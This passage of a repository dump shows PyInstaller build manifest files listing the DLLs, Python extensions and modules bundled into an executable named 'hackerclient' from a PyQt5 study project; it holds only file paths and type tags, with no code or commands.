498 | 'E:\\Anaconda3\\Library\\bin\\qt5printsupport.dll',
499 | 'BINARY'),
500 | ('pywintypes36.dll',
501 | 'E:\\Anaconda3\\Library\\bin\\pywintypes36.dll',
502 | 'BINARY'),
503 | ('Qt5Widgets.dll', 'E:\\Anaconda3\\Library\\bin\\qt5widgets.dll', 'BINARY'),
504 | ('MSVCP140.dll', 'E:\\Anaconda3\\Library\\bin\\MSVCP140.dll', 'BINARY'),
505 | ('icuin58.dll', 'E:\\Anaconda3\\Library\\bin\\icuin58.dll', 'BINARY'),
506 | ('icuuc58.dll', 'E:\\Anaconda3\\Library\\bin\\icuuc58.dll', 'BINARY'),
507 | ('api-ms-win-crt-multibyte-l1-1-0.dll',
508 | 'E:\\Anaconda3\\Library\\bin\\api-ms-win-crt-multibyte-l1-1-0.dll',
509 | 'BINARY'),
510 | ('icudt58.dll', 'E:\\Anaconda3\\Library\\bin\\icudt58.dll', 'BINARY')],
511 | [],
512 | [],
513 | [('base_library.zip',
514 | 'F:\\GitHub\\control\\build\\hackerclient\\base_library.zip',
515 | 'DATA')],
516 | [])
517 |
--------------------------------------------------------------------------------
/control/build/hackerclient/out00-EXE.toc:
--------------------------------------------------------------------------------
1 | ('F:\\GitHub\\control\\dist\\hackerclient.exe',
2 | True,
3 | False,
4 | False,
5 | None,
6 | None,
7 | False,
8 | False,
9 | ' ',
10 | True,
11 | 'hackerclient.pkg',
12 | [('out00-PYZ.pyz',
13 | 'F:\\GitHub\\control\\build\\hackerclient\\out00-PYZ.pyz',
14 | 'PYZ'),
15 | ('struct', 'E:\\Anaconda3\\lib\\struct.pyo', 'PYMODULE'),
16 | ('pyimod01_os_path',
17 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod01_os_path.pyc',
18 | 'PYMODULE'),
19 | ('pyimod02_archive',
20 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod02_archive.pyc',
21 | 'PYMODULE'),
22 | ('pyimod03_importers',
23 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod03_importers.pyc',
24 | 'PYMODULE'),
25 | ('pyiboot01_bootstrap',
26 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyiboot01_bootstrap.py',
27 | 'PYSOURCE'),
28 | ('pyi_rth_qt5',
29 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\rthooks\\pyi_rth_qt5.py',
30 | 'PYSOURCE'),
31 | ('Ui_windows', 'F:\\GitHub\\control\\Ui_windows.py', 'PYSOURCE'),
32 | ('api-ms-win-crt-runtime-l1-1-0.dll',
33 | 'E:\\Anaconda3\\api-ms-win-crt-runtime-l1-1-0.dll',
34 | 'BINARY'),
35 | ('VCRUNTIME140.dll', 'E:\\Anaconda3\\VCRUNTIME140.dll', 'BINARY'),
36 | ('api-ms-win-crt-locale-l1-1-0.dll',
37 | 'E:\\Anaconda3\\api-ms-win-crt-locale-l1-1-0.dll',
38 | 'BINARY'),
39 | ('api-ms-win-crt-heap-l1-1-0.dll',
40 | 'E:\\Anaconda3\\api-ms-win-crt-heap-l1-1-0.dll',
41 | 'BINARY'),
42 | ('python36.dll', 'E:\\Anaconda3\\python36.dll', 'BINARY'),
43 | ('api-ms-win-crt-stdio-l1-1-0.dll',
44 | 'E:\\Anaconda3\\api-ms-win-crt-stdio-l1-1-0.dll',
45 | 'BINARY'),
46 | ('api-ms-win-crt-math-l1-1-0.dll',
47 | 'E:\\Anaconda3\\api-ms-win-crt-math-l1-1-0.dll',
48 | 'BINARY'),
49 | ('ucrtbase.dll', 'E:\\Anaconda3\\ucrtbase.dll', 'BINARY'),
50 | ('api-ms-win-crt-string-l1-1-0.dll',
51 | 'E:\\Anaconda3\\api-ms-win-crt-string-l1-1-0.dll',
52 | 'BINARY'),
53 | ('api-ms-win-crt-convert-l1-1-0.dll',
54 | 'E:\\Anaconda3\\api-ms-win-crt-convert-l1-1-0.dll',
55 | 'BINARY'),
56 | ('api-ms-win-crt-time-l1-1-0.dll',
57 | 'E:\\Anaconda3\\api-ms-win-crt-time-l1-1-0.dll',
58 | 'BINARY'),
59 | ('api-ms-win-crt-environment-l1-1-0.dll',
60 | 'E:\\Anaconda3\\api-ms-win-crt-environment-l1-1-0.dll',
61 | 'BINARY'),
62 | ('api-ms-win-crt-process-l1-1-0.dll',
63 | 'E:\\Anaconda3\\api-ms-win-crt-process-l1-1-0.dll',
64 | 'BINARY'),
65 | ('api-ms-win-crt-filesystem-l1-1-0.dll',
66 | 'E:\\Anaconda3\\api-ms-win-crt-filesystem-l1-1-0.dll',
67 | 'BINARY'),
68 | ('api-ms-win-crt-conio-l1-1-0.dll',
69 | 'E:\\Anaconda3\\api-ms-win-crt-conio-l1-1-0.dll',
70 | 'BINARY'),
71 | ('api-ms-win-core-file-l2-1-0.dll',
72 | 'E:\\Anaconda3\\api-ms-win-core-file-l2-1-0.dll',
73 | 'BINARY'),
74 | ('api-ms-win-core-debug-l1-1-0.dll',
75 | 'E:\\Anaconda3\\api-ms-win-core-debug-l1-1-0.dll',
76 | 'BINARY'),
77 | ('api-ms-win-core-processthreads-l1-1-0.dll',
78 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-0.dll',
79 | 'BINARY'),
80 | ('api-ms-win-core-datetime-l1-1-0.dll',
81 | 'E:\\Anaconda3\\api-ms-win-core-datetime-l1-1-0.dll',
82 | 'BINARY'),
83 | ('api-ms-win-core-timezone-l1-1-0.dll',
84 | 'E:\\Anaconda3\\api-ms-win-core-timezone-l1-1-0.dll',
85 | 'BINARY'),
86 | ('api-ms-win-core-namedpipe-l1-1-0.dll',
87 | 'E:\\Anaconda3\\api-ms-win-core-namedpipe-l1-1-0.dll',
88 | 'BINARY'),
89 | ('api-ms-win-core-console-l1-1-0.dll',
90 | 'E:\\Anaconda3\\api-ms-win-core-console-l1-1-0.dll',
91 | 'BINARY'),
92 | ('api-ms-win-core-rtlsupport-l1-1-0.dll',
93 | 'E:\\Anaconda3\\api-ms-win-core-rtlsupport-l1-1-0.dll',
94 | 'BINARY'),
95 | ('api-ms-win-core-sysinfo-l1-1-0.dll',
96 | 'E:\\Anaconda3\\api-ms-win-core-sysinfo-l1-1-0.dll',
97 | 'BINARY'),
98 | ('api-ms-win-core-string-l1-1-0.dll',
99 | 'E:\\Anaconda3\\api-ms-win-core-string-l1-1-0.dll',
100 | 'BINARY'),
101 | ('api-ms-win-core-memory-l1-1-0.dll',
102 | 'E:\\Anaconda3\\api-ms-win-core-memory-l1-1-0.dll',
103 | 'BINARY'),
104 | ('api-ms-win-core-file-l1-1-0.dll',
105 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-1-0.dll',
106 | 'BINARY'),
107 | ('api-ms-win-core-synch-l1-1-0.dll',
108 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-1-0.dll',
109 | 'BINARY'),
110 | ('api-ms-win-core-file-l1-2-0.dll',
111 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-2-0.dll',
112 | 'BINARY'),
113 | ('api-ms-win-core-processenvironment-l1-1-0.dll',
114 | 'E:\\Anaconda3\\api-ms-win-core-processenvironment-l1-1-0.dll',
115 | 'BINARY'),
116 | ('api-ms-win-core-heap-l1-1-0.dll',
117 | 'E:\\Anaconda3\\api-ms-win-core-heap-l1-1-0.dll',
118 | 'BINARY'),
119 | ('api-ms-win-core-interlocked-l1-1-0.dll',
120 | 'E:\\Anaconda3\\api-ms-win-core-interlocked-l1-1-0.dll',
121 | 'BINARY'),
122 | ('api-ms-win-core-libraryloader-l1-1-0.dll',
123 | 'E:\\Anaconda3\\api-ms-win-core-libraryloader-l1-1-0.dll',
124 | 'BINARY'),
125 | ('api-ms-win-core-util-l1-1-0.dll',
126 | 'E:\\Anaconda3\\api-ms-win-core-util-l1-1-0.dll',
127 | 'BINARY'),
128 | ('api-ms-win-core-synch-l1-2-0.dll',
129 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-2-0.dll',
130 | 'BINARY'),
131 | ('api-ms-win-core-localization-l1-2-0.dll',
132 | 'E:\\Anaconda3\\api-ms-win-core-localization-l1-2-0.dll',
133 | 'BINARY'),
134 | ('api-ms-win-core-profile-l1-1-0.dll',
135 | 'E:\\Anaconda3\\api-ms-win-core-profile-l1-1-0.dll',
136 | 'BINARY'),
137 | ('api-ms-win-core-errorhandling-l1-1-0.dll',
138 | 'E:\\Anaconda3\\api-ms-win-core-errorhandling-l1-1-0.dll',
139 | 'BINARY'),
140 | ('api-ms-win-core-handle-l1-1-0.dll',
141 | 'E:\\Anaconda3\\api-ms-win-core-handle-l1-1-0.dll',
142 | 'BINARY'),
143 | ('api-ms-win-core-processthreads-l1-1-1.dll',
144 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-1.dll',
145 | 'BINARY'),
146 | ('PyQt5\\Qt\\plugins\\platforms\\qoffscreen.dll',
147 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qoffscreen.dll',
148 | 'BINARY'),
149 | ('PyQt5\\Qt\\plugins\\iconengines\\qsvgicon.dll',
150 | 'E:\\Anaconda3\\Library\\plugins\\iconengines\\qsvgicon.dll',
151 | 'BINARY'),
152 | ('PyQt5\\Qt\\plugins\\imageformats\\qtga.dll',
153 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtga.dll',
154 | 'BINARY'),
155 | ('PyQt5\\Qt\\plugins\\platforms\\qwindows.dll',
156 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qwindows.dll',
157 | 'BINARY'),
158 | ('PyQt5\\Qt\\plugins\\imageformats\\qsvg.dll',
159 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qsvg.dll',
160 | 'BINARY'),
161 | ('PyQt5\\Qt\\plugins\\imageformats\\qdds.dll',
162 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qdds.dll',
163 | 'BINARY'),
164 | ('PyQt5\\Qt\\plugins\\imageformats\\qjpeg.dll',
165 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qjpeg.dll',
166 | 'BINARY'),
167 | ('PyQt5\\Qt\\plugins\\imageformats\\qwbmp.dll',
168 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwbmp.dll',
169 | 'BINARY'),
170 | ('PyQt5\\Qt\\plugins\\printsupport\\windowsprintersupport.dll',
171 | 'E:\\Anaconda3\\Library\\plugins\\printsupport\\windowsprintersupport.dll',
172 | 'BINARY'),
173 | ('PyQt5\\Qt\\plugins\\imageformats\\qtiff.dll',
174 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtiff.dll',
175 | 'BINARY'),
176 | ('PyQt5\\Qt\\plugins\\imageformats\\qicns.dll',
177 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qicns.dll',
178 | 'BINARY'),
179 | ('PyQt5\\Qt\\plugins\\imageformats\\qwebp.dll',
180 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwebp.dll',
181 | 'BINARY'),
182 | ('PyQt5\\Qt\\plugins\\platforms\\qminimal.dll',
183 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qminimal.dll',
184 | 'BINARY'),
185 | ('PyQt5\\Qt\\plugins\\imageformats\\qico.dll',
186 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qico.dll',
187 | 'BINARY'),
188 | ('PyQt5\\Qt\\plugins\\imageformats\\qgif.dll',
189 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qgif.dll',
190 | 'BINARY'),
191 | ('_ssl', 'E:\\Anaconda3\\DLLs\\_ssl.pyd', 'EXTENSION'),
192 | ('unicodedata', 'E:\\Anaconda3\\DLLs\\unicodedata.pyd', 'EXTENSION'),
193 | ('win32api',
194 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32api.pyd',
195 | 'EXTENSION'),
196 | ('win32evtlog',
197 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32evtlog.pyd',
198 | 'EXTENSION'),
199 | ('_ctypes', 'E:\\Anaconda3\\DLLs\\_ctypes.pyd', 'EXTENSION'),
200 | ('pyexpat', 'E:\\Anaconda3\\DLLs\\pyexpat.pyd', 'EXTENSION'),
201 | ('_hashlib', 'E:\\Anaconda3\\DLLs\\_hashlib.pyd', 'EXTENSION'),
202 | ('select', 'E:\\Anaconda3\\DLLs\\select.pyd', 'EXTENSION'),
203 | ('_bz2', 'E:\\Anaconda3\\DLLs\\_bz2.pyd', 'EXTENSION'),
204 | ('_lzma', 'E:\\Anaconda3\\DLLs\\_lzma.pyd', 'EXTENSION'),
205 | ('_socket', 'E:\\Anaconda3\\DLLs\\_socket.pyd', 'EXTENSION'),
206 | ('PyQt5.QtWidgets',
207 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtWidgets.pyd',
208 | 'EXTENSION'),
209 | ('sip', 'E:\\Anaconda3\\lib\\site-packages\\sip.pyd', 'EXTENSION'),
210 | ('PyQt5.QtGui',
211 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtGui.pyd',
212 | 'EXTENSION'),
213 | ('PyQt5.QtCore',
214 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtCore.pyd',
215 | 'EXTENSION'),
216 | ('PyQt5.Qt', 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\Qt.pyd', 'EXTENSION'),
217 | ('PyQt5.QtPrintSupport',
218 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtPrintSupport.pyd',
219 | 'EXTENSION'),
220 | ('Qt5Gui.dll', 'E:\\Anaconda3\\Library\\bin\\qt5gui.dll', 'BINARY'),
221 | ('Qt5Core.dll', 'E:\\Anaconda3\\Library\\bin\\qt5core.dll', 'BINARY'),
222 | ('zlib.dll', 'E:\\Anaconda3\\Library\\bin\\zlib.dll', 'BINARY'),
223 | ('libpng16.dll', 'E:\\Anaconda3\\Library\\bin\\libpng16.dll', 'BINARY'),
224 | ('api-ms-win-crt-utility-l1-1-0.dll',
225 | 'E:\\Anaconda3\\api-ms-win-crt-utility-l1-1-0.dll',
226 | 'BINARY'),
227 | ('Qt5Svg.dll', 'E:\\Anaconda3\\Library\\bin\\qt5svg.dll', 'BINARY'),
228 | ('libjpeg.dll', 'E:\\Anaconda3\\Library\\bin\\libjpeg.dll', 'BINARY'),
229 | ('Qt5PrintSupport.dll',
230 | 'E:\\Anaconda3\\Library\\bin\\qt5printsupport.dll',
231 | 'BINARY'),
232 | ('pywintypes36.dll',
233 | 'E:\\Anaconda3\\Library\\bin\\pywintypes36.dll',
234 | 'BINARY'),
235 | ('Qt5Widgets.dll', 'E:\\Anaconda3\\Library\\bin\\qt5widgets.dll', 'BINARY'),
236 | ('MSVCP140.dll', 'E:\\Anaconda3\\Library\\bin\\MSVCP140.dll', 'BINARY'),
237 | ('icuin58.dll', 'E:\\Anaconda3\\Library\\bin\\icuin58.dll', 'BINARY'),
238 | ('icuuc58.dll', 'E:\\Anaconda3\\Library\\bin\\icuuc58.dll', 'BINARY'),
239 | ('api-ms-win-crt-multibyte-l1-1-0.dll',
240 | 'E:\\Anaconda3\\Library\\bin\\api-ms-win-crt-multibyte-l1-1-0.dll',
241 | 'BINARY'),
242 | ('icudt58.dll', 'E:\\Anaconda3\\Library\\bin\\icudt58.dll', 'BINARY'),
243 | ('base_library.zip',
244 | 'F:\\GitHub\\control\\build\\hackerclient\\base_library.zip',
245 | 'DATA'),
246 | ('hackerclient.exe.manifest',
247 | 'F:\\GitHub\\control\\build\\hackerclient\\hackerclient.exe.manifest',
248 | 'BINARY'),
249 | ('pyi-windows-manifest-filename hackerclient.exe.manifest', '', 'OPTION')],
250 | [],
251 | False,
252 | False,
253 | 1530601849,
254 | [('run.exe',
255 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\bootloader\\Windows-64bit\\run.exe',
256 | 'EXECUTABLE')])
257 |
--------------------------------------------------------------------------------
/control/build/hackerclient/out00-PKG.pkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/build/hackerclient/out00-PKG.pkg
--------------------------------------------------------------------------------
/control/build/hackerclient/out00-PKG.toc:
--------------------------------------------------------------------------------
1 | ('F:\\GitHub\\control\\build\\hackerclient\\out00-PKG.pkg',
2 | {'BINARY': 1,
3 | 'DATA': 1,
4 | 'EXECUTABLE': 1,
5 | 'EXTENSION': 1,
6 | 'PYMODULE': 1,
7 | 'PYSOURCE': 1,
8 | 'PYZ': 0},
9 | [('out00-PYZ.pyz',
10 | 'F:\\GitHub\\control\\build\\hackerclient\\out00-PYZ.pyz',
11 | 'PYZ'),
12 | ('struct', 'E:\\Anaconda3\\lib\\struct.pyo', 'PYMODULE'),
13 | ('pyimod01_os_path',
14 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod01_os_path.pyc',
15 | 'PYMODULE'),
16 | ('pyimod02_archive',
17 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod02_archive.pyc',
18 | 'PYMODULE'),
19 | ('pyimod03_importers',
20 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyimod03_importers.pyc',
21 | 'PYMODULE'),
22 | ('pyiboot01_bootstrap',
23 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\pyiboot01_bootstrap.py',
24 | 'PYSOURCE'),
25 | ('pyi_rth_qt5',
26 | 'E:\\Anaconda3\\lib\\site-packages\\PyInstaller\\loader\\rthooks\\pyi_rth_qt5.py',
27 | 'PYSOURCE'),
28 | ('Ui_windows', 'F:\\GitHub\\control\\Ui_windows.py', 'PYSOURCE'),
29 | ('api-ms-win-crt-runtime-l1-1-0.dll',
30 | 'E:\\Anaconda3\\api-ms-win-crt-runtime-l1-1-0.dll',
31 | 'BINARY'),
32 | ('VCRUNTIME140.dll', 'E:\\Anaconda3\\VCRUNTIME140.dll', 'BINARY'),
33 | ('api-ms-win-crt-locale-l1-1-0.dll',
34 | 'E:\\Anaconda3\\api-ms-win-crt-locale-l1-1-0.dll',
35 | 'BINARY'),
36 | ('api-ms-win-crt-heap-l1-1-0.dll',
37 | 'E:\\Anaconda3\\api-ms-win-crt-heap-l1-1-0.dll',
38 | 'BINARY'),
39 | ('python36.dll', 'E:\\Anaconda3\\python36.dll', 'BINARY'),
40 | ('api-ms-win-crt-stdio-l1-1-0.dll',
41 | 'E:\\Anaconda3\\api-ms-win-crt-stdio-l1-1-0.dll',
42 | 'BINARY'),
43 | ('api-ms-win-crt-math-l1-1-0.dll',
44 | 'E:\\Anaconda3\\api-ms-win-crt-math-l1-1-0.dll',
45 | 'BINARY'),
46 | ('ucrtbase.dll', 'E:\\Anaconda3\\ucrtbase.dll', 'BINARY'),
47 | ('api-ms-win-crt-string-l1-1-0.dll',
48 | 'E:\\Anaconda3\\api-ms-win-crt-string-l1-1-0.dll',
49 | 'BINARY'),
50 | ('api-ms-win-crt-convert-l1-1-0.dll',
51 | 'E:\\Anaconda3\\api-ms-win-crt-convert-l1-1-0.dll',
52 | 'BINARY'),
53 | ('api-ms-win-crt-time-l1-1-0.dll',
54 | 'E:\\Anaconda3\\api-ms-win-crt-time-l1-1-0.dll',
55 | 'BINARY'),
56 | ('api-ms-win-crt-environment-l1-1-0.dll',
57 | 'E:\\Anaconda3\\api-ms-win-crt-environment-l1-1-0.dll',
58 | 'BINARY'),
59 | ('api-ms-win-crt-process-l1-1-0.dll',
60 | 'E:\\Anaconda3\\api-ms-win-crt-process-l1-1-0.dll',
61 | 'BINARY'),
62 | ('api-ms-win-crt-filesystem-l1-1-0.dll',
63 | 'E:\\Anaconda3\\api-ms-win-crt-filesystem-l1-1-0.dll',
64 | 'BINARY'),
65 | ('api-ms-win-crt-conio-l1-1-0.dll',
66 | 'E:\\Anaconda3\\api-ms-win-crt-conio-l1-1-0.dll',
67 | 'BINARY'),
68 | ('api-ms-win-core-file-l2-1-0.dll',
69 | 'E:\\Anaconda3\\api-ms-win-core-file-l2-1-0.dll',
70 | 'BINARY'),
71 | ('api-ms-win-core-debug-l1-1-0.dll',
72 | 'E:\\Anaconda3\\api-ms-win-core-debug-l1-1-0.dll',
73 | 'BINARY'),
74 | ('api-ms-win-core-processthreads-l1-1-0.dll',
75 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-0.dll',
76 | 'BINARY'),
77 | ('api-ms-win-core-datetime-l1-1-0.dll',
78 | 'E:\\Anaconda3\\api-ms-win-core-datetime-l1-1-0.dll',
79 | 'BINARY'),
80 | ('api-ms-win-core-timezone-l1-1-0.dll',
81 | 'E:\\Anaconda3\\api-ms-win-core-timezone-l1-1-0.dll',
82 | 'BINARY'),
83 | ('api-ms-win-core-namedpipe-l1-1-0.dll',
84 | 'E:\\Anaconda3\\api-ms-win-core-namedpipe-l1-1-0.dll',
85 | 'BINARY'),
86 | ('api-ms-win-core-console-l1-1-0.dll',
87 | 'E:\\Anaconda3\\api-ms-win-core-console-l1-1-0.dll',
88 | 'BINARY'),
89 | ('api-ms-win-core-rtlsupport-l1-1-0.dll',
90 | 'E:\\Anaconda3\\api-ms-win-core-rtlsupport-l1-1-0.dll',
91 | 'BINARY'),
92 | ('api-ms-win-core-sysinfo-l1-1-0.dll',
93 | 'E:\\Anaconda3\\api-ms-win-core-sysinfo-l1-1-0.dll',
94 | 'BINARY'),
95 | ('api-ms-win-core-string-l1-1-0.dll',
96 | 'E:\\Anaconda3\\api-ms-win-core-string-l1-1-0.dll',
97 | 'BINARY'),
98 | ('api-ms-win-core-memory-l1-1-0.dll',
99 | 'E:\\Anaconda3\\api-ms-win-core-memory-l1-1-0.dll',
100 | 'BINARY'),
101 | ('api-ms-win-core-file-l1-1-0.dll',
102 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-1-0.dll',
103 | 'BINARY'),
104 | ('api-ms-win-core-synch-l1-1-0.dll',
105 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-1-0.dll',
106 | 'BINARY'),
107 | ('api-ms-win-core-file-l1-2-0.dll',
108 | 'E:\\Anaconda3\\api-ms-win-core-file-l1-2-0.dll',
109 | 'BINARY'),
110 | ('api-ms-win-core-processenvironment-l1-1-0.dll',
111 | 'E:\\Anaconda3\\api-ms-win-core-processenvironment-l1-1-0.dll',
112 | 'BINARY'),
113 | ('api-ms-win-core-heap-l1-1-0.dll',
114 | 'E:\\Anaconda3\\api-ms-win-core-heap-l1-1-0.dll',
115 | 'BINARY'),
116 | ('api-ms-win-core-interlocked-l1-1-0.dll',
117 | 'E:\\Anaconda3\\api-ms-win-core-interlocked-l1-1-0.dll',
118 | 'BINARY'),
119 | ('api-ms-win-core-libraryloader-l1-1-0.dll',
120 | 'E:\\Anaconda3\\api-ms-win-core-libraryloader-l1-1-0.dll',
121 | 'BINARY'),
122 | ('api-ms-win-core-util-l1-1-0.dll',
123 | 'E:\\Anaconda3\\api-ms-win-core-util-l1-1-0.dll',
124 | 'BINARY'),
125 | ('api-ms-win-core-synch-l1-2-0.dll',
126 | 'E:\\Anaconda3\\api-ms-win-core-synch-l1-2-0.dll',
127 | 'BINARY'),
128 | ('api-ms-win-core-localization-l1-2-0.dll',
129 | 'E:\\Anaconda3\\api-ms-win-core-localization-l1-2-0.dll',
130 | 'BINARY'),
131 | ('api-ms-win-core-profile-l1-1-0.dll',
132 | 'E:\\Anaconda3\\api-ms-win-core-profile-l1-1-0.dll',
133 | 'BINARY'),
134 | ('api-ms-win-core-errorhandling-l1-1-0.dll',
135 | 'E:\\Anaconda3\\api-ms-win-core-errorhandling-l1-1-0.dll',
136 | 'BINARY'),
137 | ('api-ms-win-core-handle-l1-1-0.dll',
138 | 'E:\\Anaconda3\\api-ms-win-core-handle-l1-1-0.dll',
139 | 'BINARY'),
140 | ('api-ms-win-core-processthreads-l1-1-1.dll',
141 | 'E:\\Anaconda3\\api-ms-win-core-processthreads-l1-1-1.dll',
142 | 'BINARY'),
143 | ('PyQt5\\Qt\\plugins\\platforms\\qoffscreen.dll',
144 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qoffscreen.dll',
145 | 'BINARY'),
146 | ('PyQt5\\Qt\\plugins\\iconengines\\qsvgicon.dll',
147 | 'E:\\Anaconda3\\Library\\plugins\\iconengines\\qsvgicon.dll',
148 | 'BINARY'),
149 | ('PyQt5\\Qt\\plugins\\imageformats\\qtga.dll',
150 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtga.dll',
151 | 'BINARY'),
152 | ('PyQt5\\Qt\\plugins\\platforms\\qwindows.dll',
153 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qwindows.dll',
154 | 'BINARY'),
155 | ('PyQt5\\Qt\\plugins\\imageformats\\qsvg.dll',
156 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qsvg.dll',
157 | 'BINARY'),
158 | ('PyQt5\\Qt\\plugins\\imageformats\\qdds.dll',
159 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qdds.dll',
160 | 'BINARY'),
161 | ('PyQt5\\Qt\\plugins\\imageformats\\qjpeg.dll',
162 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qjpeg.dll',
163 | 'BINARY'),
164 | ('PyQt5\\Qt\\plugins\\imageformats\\qwbmp.dll',
165 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwbmp.dll',
166 | 'BINARY'),
167 | ('PyQt5\\Qt\\plugins\\printsupport\\windowsprintersupport.dll',
168 | 'E:\\Anaconda3\\Library\\plugins\\printsupport\\windowsprintersupport.dll',
169 | 'BINARY'),
170 | ('PyQt5\\Qt\\plugins\\imageformats\\qtiff.dll',
171 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qtiff.dll',
172 | 'BINARY'),
173 | ('PyQt5\\Qt\\plugins\\imageformats\\qicns.dll',
174 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qicns.dll',
175 | 'BINARY'),
176 | ('PyQt5\\Qt\\plugins\\imageformats\\qwebp.dll',
177 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qwebp.dll',
178 | 'BINARY'),
179 | ('PyQt5\\Qt\\plugins\\platforms\\qminimal.dll',
180 | 'E:\\Anaconda3\\Library\\plugins\\platforms\\qminimal.dll',
181 | 'BINARY'),
182 | ('PyQt5\\Qt\\plugins\\imageformats\\qico.dll',
183 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qico.dll',
184 | 'BINARY'),
185 | ('PyQt5\\Qt\\plugins\\imageformats\\qgif.dll',
186 | 'E:\\Anaconda3\\Library\\plugins\\imageformats\\qgif.dll',
187 | 'BINARY'),
188 | ('_ssl', 'E:\\Anaconda3\\DLLs\\_ssl.pyd', 'EXTENSION'),
189 | ('unicodedata', 'E:\\Anaconda3\\DLLs\\unicodedata.pyd', 'EXTENSION'),
190 | ('win32api',
191 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32api.pyd',
192 | 'EXTENSION'),
193 | ('win32evtlog',
194 | 'E:\\Anaconda3\\lib\\site-packages\\win32\\win32evtlog.pyd',
195 | 'EXTENSION'),
196 | ('_ctypes', 'E:\\Anaconda3\\DLLs\\_ctypes.pyd', 'EXTENSION'),
197 | ('pyexpat', 'E:\\Anaconda3\\DLLs\\pyexpat.pyd', 'EXTENSION'),
198 | ('_hashlib', 'E:\\Anaconda3\\DLLs\\_hashlib.pyd', 'EXTENSION'),
199 | ('select', 'E:\\Anaconda3\\DLLs\\select.pyd', 'EXTENSION'),
200 | ('_bz2', 'E:\\Anaconda3\\DLLs\\_bz2.pyd', 'EXTENSION'),
201 | ('_lzma', 'E:\\Anaconda3\\DLLs\\_lzma.pyd', 'EXTENSION'),
202 | ('_socket', 'E:\\Anaconda3\\DLLs\\_socket.pyd', 'EXTENSION'),
203 | ('PyQt5.QtWidgets',
204 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtWidgets.pyd',
205 | 'EXTENSION'),
206 | ('sip', 'E:\\Anaconda3\\lib\\site-packages\\sip.pyd', 'EXTENSION'),
207 | ('PyQt5.QtGui',
208 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtGui.pyd',
209 | 'EXTENSION'),
210 | ('PyQt5.QtCore',
211 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtCore.pyd',
212 | 'EXTENSION'),
213 | ('PyQt5.Qt', 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\Qt.pyd', 'EXTENSION'),
214 | ('PyQt5.QtPrintSupport',
215 | 'E:\\Anaconda3\\lib\\site-packages\\PyQt5\\QtPrintSupport.pyd',
216 | 'EXTENSION'),
217 | ('Qt5Gui.dll', 'E:\\Anaconda3\\Library\\bin\\qt5gui.dll', 'BINARY'),
218 | ('Qt5Core.dll', 'E:\\Anaconda3\\Library\\bin\\qt5core.dll', 'BINARY'),
219 | ('zlib.dll', 'E:\\Anaconda3\\Library\\bin\\zlib.dll', 'BINARY'),
220 | ('libpng16.dll', 'E:\\Anaconda3\\Library\\bin\\libpng16.dll', 'BINARY'),
221 | ('api-ms-win-crt-utility-l1-1-0.dll',
222 | 'E:\\Anaconda3\\api-ms-win-crt-utility-l1-1-0.dll',
223 | 'BINARY'),
224 | ('Qt5Svg.dll', 'E:\\Anaconda3\\Library\\bin\\qt5svg.dll', 'BINARY'),
225 | ('libjpeg.dll', 'E:\\Anaconda3\\Library\\bin\\libjpeg.dll', 'BINARY'),
226 | ('Qt5PrintSupport.dll',
227 | 'E:\\Anaconda3\\Library\\bin\\qt5printsupport.dll',
228 | 'BINARY'),
229 | ('pywintypes36.dll',
